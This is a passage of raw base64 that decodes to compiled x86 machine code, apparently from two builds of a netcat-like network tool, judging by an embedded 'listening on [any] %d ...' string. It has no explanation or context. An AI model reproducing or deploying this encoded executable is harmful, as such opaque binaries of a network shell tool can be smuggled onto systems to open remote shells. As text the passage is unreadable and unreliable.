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HUIZoMt7mQAAAFBvQEAAADpHv///0iLRCQIRTHkZoM93WQAAADHAAAAAABBxwcAAAAAD4QLAQAASGMFN2QAAEiLfMUASIX/D4TvAAAAMfYxwOiADQAAZoXAD4QlAwAAD7dMJBQPt/BMiedMifIxwOhyFgAAiQXoYwAAiceFwA+OGgMAADHASIM9UGQAAAAPhEADAADofQ8AAEEpwESJBdNkAAAPhDb8///pHPz//0iNNWY2AABMie/oGfX//4XAdG9IjTVoNgAATInv6Ab1//+FwA+F1AIAAMYFB2QAAALpUvj//2aDPRJkAAAAD4TO/P//SIs9FWQAALq0AQAAvkECAAAxwOjM9f//iQVuZAAAhcAPjlICAAC/ZAAAADHA6CIIAABIiQXjYwAA6ZD8///GBa9jAAAE6fr3//8xwOkc////SI09LzYAADHA6BUFAABIi3wkIDHA6PkNAACJw+n5/f//6E32///p3v3//2aDPXhjAAAAD4VU/v//ZoMFdGMAAAHpR/7//4nHTInmMcDooRwAAIkFx2IAAIXAD44R/v//6U79///oqfT//2aJRCQWZj3/Hw+Hwv3//2YFACBmiUQkFum0/f//iz2SYgAAMcDobx4AAEGJxelU/f//SItEJAiDOG8PheP9///pGP7//8YAADHASIl8JBjohSUAAEiLfCQYMfYxwOjHCwAASIt8JBhmhcCJww+EHQIAAEhjBVBiAABIi0wkKEiLPMExwOhQJQAASGMFOWIAAEiLTCQoMfZIizzBMcDohwsAAGaJRCQYZoXAD4QiAQAAZjtcJBgPhuUBAABmgz2MYgAAAGbHBc9hAAAAAA+E6fz//w+300iLXCQgD7d0JBgxwEiJ3+ggDQAASInfMcDotgwAAInDZjlEJBgPhrv8//+LBcNhAABIi0wkKIPAAYkFtWEAAEiYSIscwUiF2w+FlPv//0iLRCQIZoM9G2IAAAHHAAAAAAB2GosVh2IAAIs1fWIAAEiNPT5hAAAxwOhHAwAAZoM9QWEAAAAPhCgBAABEie/oMfT//79QAAAAMcDoJQYAAEiJBR5iAADp//f//zH/McDo8PL//4nH6Cnx//+/AAABADHA6P0FAABIiUQkIOlF+v//MfZIid/pXvv//4s9/2AAADHA6Sr9//9IizWdYQAASI091TMAADHA6OcCAABIi2wkKEhjBetgAABIjT3JMwAASIt0xQAxwOjIAgAASI09xjMAADHA6LoCAAC6CgAAADH2TInv6Evy//+IBSVhAADpcPX//0iNPZk6AAAxwOiSAgAA6G0cAABmgz0XYQAAAYnFdhqLFYdhAACLNX1hAABIjT0+YAAAMcDoRwIAAInv6EDz//9IjT17MwAAMcDoUgIAAEiNPYgyAAAxwOhEAgAASIs1bWAAAEiNPbMyAADoMQIAADH/6Arz//9Iif4xwEiNPRMzAADoGQIAAA+3XCQY6RH7//9mLg8fhAAAAAAADx9EAAAx7UmJ0V5IieJIg+TwUFRMjQVaJAAASI0N8yMAAEiNPXzz////FVZfAAD0Dx9EAABIjT3JXwAASI0Fwl8AAEg5+HQVSIsFLl8AAEiFwHQJ/+APH4AAAAAAww8fgAAAAABIjT2ZXwAASI01kl8AAEgp/kiJ8EjB7j9IwfgDSAHGSNH+dBRIiwUFXwAASIXAdAj/4GYPH0QAAMMPH4AAAAAAgD2xXwAAAHUvVUiDPeZeAAAASInldAxIiz36XgAA6M3y///oaP///8YFiV8AAAFdww8fgAAAAADDDx+AAAAAAOl7////Zi4PH4QAAAAAAJBIg+wIiz0CXwAA6CHw//8x/+ja8f//Zi4PH4QAAAAAAFMxwEiD7Aj/dCQYQVFJiclIifG+AQAAAEFQSYnQSIn6SIs9GV8AAOjU8f//SIPEIOgb7///SGMIhcl0K0iLPf1eAABIicOD+QR/ZUiNBQ5aAABIif5MiwTITInH6H/v///HAwAAAADodO7//4sAhcB0HkiNPZowAADo8vD//0iLPbteAABb6WXw//8PH0QAAEiLNaleAAC/CgAAAOh/7///SIs9mF4AAFvpQvD//2aQSI0V7S0AAL4BAAAAMcDoPfH//+ucZmYuDx+EAAAAAABmgz2qXgAAAHUGww8fRAAAMcDpGf///2YPH4QAAAAAAEiD7BC4AQAAAP90JBhmiQV+XgAAMcDo9f7//4s9210AAOj67v//vwEAAADosPD//0iD7Ajot+3//2aDPVFeAAABxwAAAAAAdhqLFb1eAACLNbNeAABIjT10XQAAMcDonf///0iNPY4vAAAxwOiP////ZmYuDx+EAAAAAAAPH0AAvgEAAABIg+wIvw4AAADo7e7//zH/6Hbu//+LNXxeAACF9nUOSI09Ii0AADHA6E7///9IjT13XgAA6JLv//9mkEFXQVZBVUGJ1UFUVVNIifNIg+wISIsFzV0AAIX/D4R1AQAAxgA8iy0gXgAAxkABIEiLBbFdAAC6IyAAAEyNJV04AABmiVA7Zg8fhAAAAAAARYXtD4QwAQAASIs9iF0AAEGD/Q8PjtYAAABBg+0QQb5OAAAAQb8QAAAAQYnoSIPHAkiNDZ8sAAAxwEjHwv////++AQAAAEQB/egS8P//TIsNQ10AAEWJ+L4uAAAASo08A0mNUQtJjUk9Dx+AAAAAAA+2A0iDwgPA6ASD4A9BD7YEBIhC/Q+2A8ZC/yCD4A9BD7YEBIhC/g+2A0SNUOBBgPpfD0PGSIPDAUiDwQGIQf9IOd91u0PGRAE9CkiLNdZcAABMifKLPT1dAADocOz//4XAD4ko////SI09/ysAADHA6Ar+//9mLg8fhAAAAAAAQ41EbQu6EAAAAEWNdT5ImEQp6kgB+EiNFFJIAcIPHwDGACBIg8ADxkD+IMZA/yBIOcJ17EWJ70iLPWpcAABNY/ZFMe3p8f7//0iDxAhbXUFcQV1BXkFfw8YAPostp1wAAOmG/v//Zi4PH4QAAAAAAFVTSIPsCIX2dS6+AQAAAL8OAAAA6Pfs//8x/+iA7P//xwWCXAAAAAAAAEiDxAhbXcMPH4AAAAAAifuJ9UiNNc39//+/DgAAAOjD7P//ie/oTOz//4kdUlwAAEiDxAhbXcNmZi4PH4QAAAAAAA8fQABVjW8EvgEAAACD5fyJ7+ht7P//SIXAdAJdw4nuSI09+SoAAOj4/P//Dx+EAAAAAAAxwEiF/3QzjVb/gfr/HwAAdyhIjVQXAUiJ+OsNDx9AAEiDwAFIOdB0D4A4CnXySCn4g8ABww8fAInwww8fRAAAQVVBVEmJ9FVIif3okOr//8cAAAAAAOj16v//TYssJEiJ78cAAAAAAEyJ7uhg6v//QYnEhcB1CUSJ4F1BXEFdw2aDPfpaAAAAQbwBAAAAdOdIg+wITInqMcBFMclqAEUxwDHJSInuSI096y0AAOhO+///WFrrwWYuDx+EAAAAAABBV0FWQYn2QVVJif1BVFVTSIPsKGRIiwQlKAAAAEiJRCQYMcDo9+n//8cAAAAAAEiJRCQI6Ffq///HAAAAAABNhe0PhAwDAAC+AQAAAL/kAQAASInF6Dbr//9JicRIhcAPhPwCAAC6AAEAAEiNNa5ZAABIicfo5uv//0yNfCQUTInvTIn+6Ibr//+Jw4XAD4VsAQAAZkWF9g+F1wIAAEyJ7+ga6///SYnGSIXAD4TZAgAASIswuv4AAABMiedNjbwkAAEAAEG9AQAAAOhw6f//SYtGGEiLAEiFwHRUDx9AAIsAQ4mErLwBAABBjUX/SJhBi7yEwAEAAOij6f//uhgAAABMif9IicboM+n//0mLRhhBg/0IQA+VxkqLBOhIhcAPlcJJg8UBSYPHGECE1nWwZoM9ilkAAAAPhFEBAABFi7wkwAEAAE2NtCTAAQAATY2sJAABAABFhf91UukoAQAASItEJAhIidZMiedIiRQkxwAAAAAAx0UAAAAAAOiP6P//SIsUJIXAD4UrAQAAQYt/BIPDAUmDxgRJg8UYhf8PhOQAAACD+wgPhNsAAAC6AgAAAL4EAAAATIn3TYn36D7r//9IhcB0CEiLEEiF0nWRZoM961gAAAB0tEiD7AhFMclFMcAxyWoAMdJMie5IjT1NLAAAMcDoRvn//0FaQVvrjYt8JBRBibwkwAEAAOiP6P//SY28JAABAAC6wAAAAEiJxuga6P//ZkWF9nVjZoM9jlgAAAB0WboCAAAAvgQAAABMif/ouOr//0iFwA+EzwAAAEiLMLr+AAAATInn6N/n//9MiefoV+n//0iJxkiFwHR9SItAGEiDOAB0c0yJ5zHA6Pv8//8PHwDHRQAAAAAASItEJBhkSCsEJSgAAAAPheMAAABIg8QoTIngW11BXEFdQV5BX8MPHwBmgz0CWAAAAA+Ex/7//0iD7AhFMclFMcAxyWoATInmSI09+ioAADHA6Fv4//9BWEFZ6Z/+//9mgz3MVwAAAHSQSIPsCDHSMcBFMclqAEUxwDHJTInmSI09hCsAAOgn+P//WFrpaP///2aDPZpXAAAAD4Ra////SIPsCDHJTInuRTHJagBFMcAx0kiNPSgrAADo8/f//1le6TT///9IjT3jJgAAMcDozvj//77kAQAASI09viYAADHA6Lv4//9Mie5IjT15KgAAMcDoqvj//+hF5///TInuSI09gyoAADHA6JT4//8PH0AAQVRmgz0aVwAAALk/AAAASI0FZlYAAEyNJVtWAABVSIn9TA9E4EiLBRRXAABTZokIhfZ0FEiF/3RvRTHkW11EieBBXMMPH0AASIX/dOwx9roKAAAA6Nfn//+FwA+FxwAAAGaDPcFWAAAAdc5Iie9MieboGuf//0iJxUiFwHS7SIswSIs9uFYAALpAAAAA6A7m//9ED7dlEGZBwcQIQQ+37OtHZg8fRAAAifeJ9UyJ5mbBxwhBiewPt//o8uj//0iJw0iFwHQjD7dAEGbBwAgPt8A5xXVrSIszSIs9YVYAALpAAAAA6Lfl//9IiwVQVgAAQYnouggAAABIjQ1sJwAAvgEAAABIjXhAMcDo8ej//0iLBSpWAABmRIlgSESJ4FtdQVzDDx9EAABbicZdMf8xwEFc6cn+//9mDx+EAAAAAABmgz3aVQAAAHSLSIPsCEhj0Ehj9THAagBFMclFMcAxyUiNPcEpAADoNPb//1ha6WL///9mZi4PH4QAAAAAAGaQVb1wEQEAU0iJ+0iD7AjrBYPtAXQa6Obm//8Pt9BIidFIAdqAOgF16MYCAoXJdSJIjZP//wAAuP//AADrDA8fAEiD6gGD6AF0D4A6AXXyxgICSIPECFtdwzHA6/UPH0AASIPsCEiF/3QrZoX2dDRmhdJ0L4nxidBmOdZ3Ew8fQAAPt9CD6AHGBBcBZjnBdvFIg8QIw0iNPZckAAAxwOhu9v//D7fSD7f2SI09ISkAADHA6Fr2//9mLg8fhAAAAAAAVTH2if3o9uT//4nv6F/l//++AQAAADH/6OPk//+LBaFUAACFwHVASIstmlQAAL4vAAAASInv6PXk//9Iie9IhcBIjXABSA9E9THSMcDoLuf//0iLNW9UAABIjT0zJAAAMcDo6fX//0iLDVpUAABIjTUbJAAARTHAMcBIjT0KJAAASI0VACQAAOjz5v//SIs1NFQAAEiNPfgjAAAxwOiu9f//ZmYuDx+EAAAAAAAPHwBBVkFVSYnVQVRJifxVifVTictIg+wgZEiLBCUoAAAASIlEJBgxwOhl4///SIlEJAjHAAAAAADrLg8fhAAAAAAAuhEAAAC+AgAAAL8CAAAA6Mzm//+JRCQEi3wkBIX/D4hoBQAAdSpmgz3GUwAAAHXQugYAAAC+AQAAAL8CAAAA6Jzm//+JRCQE685mDx9EAACLfCQESI1MJBRBuAQAAAC6AgAAAL4BAAAAx0QkFAEAAADoKuP//4P4/w+EUQQAAGaDPX1TAAAAD4UjAQAAi3wkBEiNTCQUQbgEAAAAug8AAAC+AQAAAOj14v//g/j/D4TcAwAAgD0lUwAAAA+FRwMAAESLHRxTAABFhdsPhc8CAABIiwV4UwAASIsVaVMAAL8CAAAAQbgCAAAAZok4ZkSJAk2F7Q+EFgEAAEGLVQBED7friVAEZoXbD4SMBAAASIs1O1MAAESJ6GbBwAhmiUYCRIlsJBS7BAAAAE1j9Yt8JAS6EAAAAOhl5P//hcAPhNYAAABIi0QkCEiLNQFTAACDOGJ1N4t+BOh04v//ZoM9jlIAAAAPhQYCAAC/AgAAAOg85f//SItEJAhIizXQUgAAxwAAAAAAg+sBdaKLfgToPeL//0SJ6kiNPZkiAABIicYxwOi58///Zg8fhAAAAAAAi3wkBEiNTCQUQbgEAAAAugYAAAC+AQAAAOjS4f//g/j/D4W2/v//ZoM9E1IAAAAPhKj+//9Ig+wIMdIxwEUxyWoARTHAMckx9kiNPcMhAADoa/L//1ha6YH+//8PH0AAZoXbD4W2AwAAZoM921EAAAAPhewAAABIiwUaUgAAQYsUJGbBxQiLHThSAACJUARIiwUCUgAAZoloAoXbdDZIiw3jUQAASIXJD4SnAgAAi3wkBESNBJ0IAAAAMfa6BAAAAESJRCQU6CXh//+D+P8PhCUDAACLLWJRAACF7Q+F1gEAAL4BAAAAvw4AAADoP+L//zH/6Mjh///HBcpRAAAAAAAAvgEAAABIjT3SUQAA6N3j//+FwHV5SIs1elEAAIt8JAS6EAAAAOh04///vgEAAAC/DgAAAInD6PPh//8x/+h84f//xwV+UQAAAAAAAIXbdBGLfCQE6HXh///HRCQE/////0iLRCQYZEgrBCUoAAAAD4WjAgAAi0QkBEiDxCBbXUFcQV1BXsMPH4QAAAAAAEiLRCQIvgEAAAC/DgAAAMcAbgAAAOiG4f//Mf/oD+H//8cFEVEAAAAAAADrlQ8fAEiD7AhMifJIicZFMclqADHARTHAMclIjT2UIAAA6N7w//9YWunR/f//Dx+AAAAAAIt8JARIjUwkFEG4BAAAALoJAAAAvgEAAADHRCQUAQAAAOja3///g/j/D4UC/f//ZoM9G1AAAAAPhPT8//9Ig+wIMckx9kUxyWoARTHAMdJIjT0PIAAAMcDoc/D//1le6c38//8PH0AAi3wkBDH2QbgBAAAASI0NxU8AALoBAAAA6Hvf//+D+P8PhZP8//9mgz28TwAAAA+Ehfz//0iD7AhFMclFMcAxyWoAMdIx9kiNPZ4fAAAxwOgU8P//QVlBWulc/P//Dx8ASI01cfH//78OAAAA6Gfg//+J7+jw3///xwXyTwAAAQAAAOkj/v//kGaDPVpPAAAAD4QW/P//SIPsCDHARTHJRTHAagAxyTHSMfZIjT0iHwAA6LLv//9BXljp7vv//2YuDx+EAAAAAABmgz0aTwAAAA+Eofv//0iD7AgxyTH2RTHJagBFMcAx0kiNPcweAAAxwOhy7///WV7pevv//74BAAAAvzQAAADorN///0iJwUiFwA+ElwAAAMYAg0yNQQNIiQUKTwAAjQSdBwAAAIhBAYsFBk4AAMdEJBQAAAAAiEEChdt+LkiLPexOAABIY/MxwA8fgAAAAABIixTHi5LAAQAAiVSBA0iDwAFIOfB16U2NBIBBiwQkQcZABAFBiQDp0vz//0iNPR8eAAAxwOjG7///SIs1r04AAEUx7el3+///SI09oR4AADHA6Knv//++NAAAAEiNPZkdAAAxwOiW7///6DHe//9ED7fr6Tb7//8PH4QAAAAAAEFVSYn9QVRJidRVic1TifNIg+w4SIl8JBCJdCQcZEiLBCUoAAAASIlEJCgxwOg+3f//D7fND7fzTInixwAAAAAATInvSIlEJAgxwOiQ+f//iUQkGIXAD454AgAAZoM9sE0AAAAPhMYDAABmhe0PhKcGAABmgz2XTQAAAIsti00AAA+FeQIAAMdEJCQQAAAAhe0PhUkFAAC+AQAAAL8OAAAA6Fre//8x/+jj3f//xwXlTQAAAAAAAL4BAAAASI097U0AAOj43///hcAPhfABAACLXCQYTI1MJCS5AgAAAEyLBYNNAABIizVcTQAAugAgAACJ3+io3v//vgEAAAC/DgAAAOj53f//Mf/ogt3//0iLNVNNAAC6EAAAAInfxwV2TQAAAAAAAOhF3///icWF7Q+IlgEAAGaDPdVMAAAAD4SNBAAAvgEAAAC/LAAAAOiO3f//SInBSIXAD4TKBQAAi3wkGDH2TI1EJCS6BAAAAEiJBeNMAADHRCQkKAAAAOhO3f//hcAPiBYFAACLXCQkSIsts0wAAIXbD4VjAwAAZg/vwIt8JBhIjVQkJA8RRQBIiwWTTAAASIs1tEwAAA8RRRAPEUUgTI1gIA8RRTDHRCQkEAAAAOhX3v//hcAPiP8EAABIiwWITAAAi3gE6ADc//9MiedIicbotdv//0iLBWZMAACLeAQPt2gC6OLb//9Iiz0zTAAAZsHFCEiJxuiP2///D7c18ksAAEiLPRlMAAAxwOga8f//i1wkHMdEJCQAAAAASInCSItEJAhmOevHAAAAAAAPlcBmhdsPlcEhyEiDfCQQAA+EdgEAAEiLXCQQSIsLSItzCEgzisABAABIM7LIAQAASAnOD4RTAQAAx0QkJAEAAACEwHQIx0QkJAEAAABIjYoAAQAARA+3xUyJ5jHASI09qB8AAOjD7P//Dx8ASItEJAjHAG4AAACLfCQY6Mzb///HRCQY/////0iLRCQoZEgrBCUoAAAAD4UlBAAAi0QkGEiDxDhbXUFcQV3DkEiLNWlLAACLfCQYSI1UJCTHRCQkEAAAAOgT3f//hcAPiDsDAABIiwUcSwAASLpsaXN0ZW5pbkiJELogWwAAx0AIZyBvbmaJUAzGQA4ASIsFHEsAAItIBIXJD4XhAgAASIsd4koAAEiJ3+ii2v//xwQDYW55AEiLLcxKAABIie/ojNr//0gBxUi4XSAlZCAuLi5IiUUASIsF1EoAAGaDPW5KAAAAxkUIAEiLPZlKAAAPt3ACD4SbAAAASIPsCGbBxghFMclFMcBqAA+39jHJMdIxwOi56v//XUFc63gPH0AARA+3xYTAD4Wt/v//ZoM9HkoAAAAPhOL+//9Ig+wISI2KAAEAADHARTHJagBFD7fATInmSI09dh4AAOhx6v//WFrptv7//2YuDx+EAAAAAACLfCQYvgEAAADoUtv//4XAD4j1AgAAZoM9xEkAAAAPhaz+//9mgz24SQAAAIstqkkAAA+FH/z//8dEJCQQAAAAhe0PhZgBAAC+AQAAAL8OAAAA6Hna//8x/+gC2v//xwUESgAAAAAAAL4BAAAASI09DEoAAOgX3P//hcAPhQ/+//+LXCQYSIs1rEkAAEiNVCQkid/oWNv//74BAAAAvw4AAACJxegn2v//Mf/osNn//4nfxwWwSQAAAAAAAOiv2f//iWwkGOkz/P//Zg8fRAAASI19CEiJ6THATIslSEkAAEiD5/hIx0UAAAAAAEiNnYAAAABMjS24GQAASMeF+AAAAAAAAABIKfmBwQABAADB6QPzSKtEi0wkJEWFyX5CZpBFD7YEJEyJ6b4BAAAASInfSMfC/////zHASYPEAeh+2///SInvSIneSIPFAei/2v//i0QkJIPoAYlEJCSFwH/AZoM9ekgAAABIiy2pSAAAD4T4+///SIPsCEUxwEiNPTYZAAAxyWoARTHJMdJIie4xwOjK6P//X0FYDx+AAAAAAEiLLXFIAADpwfv//w8fQABIjTUZ6v//vw4AAADoD9n//4nv6JjY///HBZpIAAACAAAA6bD6//9mDx+EAAAAAABIjTXp6f//vw4AAADo39j//4nv6GjY///HBWpIAAACAAAA6WH+//9mDx+EAAAAAACLeAToqNf//0iLPflHAABIicbo6dn//+kZ/f//Dx9AAGaDPapHA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4PsBGoCagRW6AU3AwCDxBCFwHS6gzgAdLWD7AhQ/3QkDOjZ/f//g8QQ676LPCSLRCQExwAAAAAAifiDxCxbXl9dw4mHwAEAAIPsDP90JCjobjYDAIPEDGjAAAAAUI2HAAEAAFDoSfP//4PEEGaF7XXHZoO7iBAAAAB0vYPsBGoCagSNRCQoUOiGNgMAg8QQhcB0OYPsBGj+AAAA/zBX6A/z//+JPCToRzwDAIPEEIXAdDKLUBCDOgB0KoPsCFBX6Dv9//+DxBDpYv///4PsCFaNgyy8/P9Q6Ev6//+DxBDpSv///4PsCFeNg1C8/P9Q6DP6//+DxBDpMv///4s8JOkq////VVdWU4PsHOjy+P//gcNS0AsAi3wkMI2rhAAAAGaDu4oQAAAAdAaNq4AAAACLg6AQAADGAD+Lg6AQAADGQAEAg3wkNAAPhLEAAAC+AAAAAIX/dAqJ8IPEHFteX13Di3wkNGaDu5AQAAAAdUUPt0QkNGbByAiD7AhVD7fAUOjtRgMAicaDxBCFwHQmD7dACGbByAgPt8A5RCQ0dUeD7ARqQP82/7OgEAAA6AHy//+DxBCD7ARXjYMduvz/UIuDoBAAAIlEJBiDwEBQ6ECWAACJ/ouDoBAAAGaJeEiDxBDpcf///4PsBFD/dCQ8jYOAvPz/UOgt+f//g8QQ66C+AAAAAIX/D4RL////g+wEagpqAFfoKYgAAIPEEIXAdRYPt7OQEAAAZoX2dB++AAAAAOkh////g+wIUGoA6MP+//+JxoPEEOkM////g+wIVVfoHUEDAInHg8QQhcAPhPX+//+D7ARqQP8w/7OgEAAA6D7x//+Lfwhmwc8ID7f/g8QQ6S7///9XVlPodPf//4HD1M4LAIt0JBC/cBEBAOgggwAAD7fQjQwWgDkBdC2D7wF1642W/v8AALj+/wAAgL7//wAAAXQfgDoBdCiD6gGD6AF187gAAAAA6wfGAQKF0nTRW15fw8aG//8AAAK4//8AAOvuxgIC6+lXVlPo/h0AAIHHYs4LAItMJBCLVCQUi3QkGIXJdCaJ04nwZoXSdCxmhfZ0J2Y58ncPD7fQxgQRAYPoAWY5w3bxW15fw4PsDI2HiLj8/1Dowvj//4PsBA+39lYPt9JSjYeovPz/UOir+P//VlOD7Azolvb//4HD9s0LAIt0JBhqAFboVA4DAIk0JOjMDQMAg8QIagFqAOhADgMAg8QIagJqAOg0DgMAi7N8EAAAg8QIai9W6OPv//+DxAyNUAGFwInQD0TGagBQVug98AIAg8QI/7N8EAAAjYOeuPz/UOgz+P//VVdWU4PsPOgc9v//gcN8zQsAiVwkDItEJFSJRCQci3w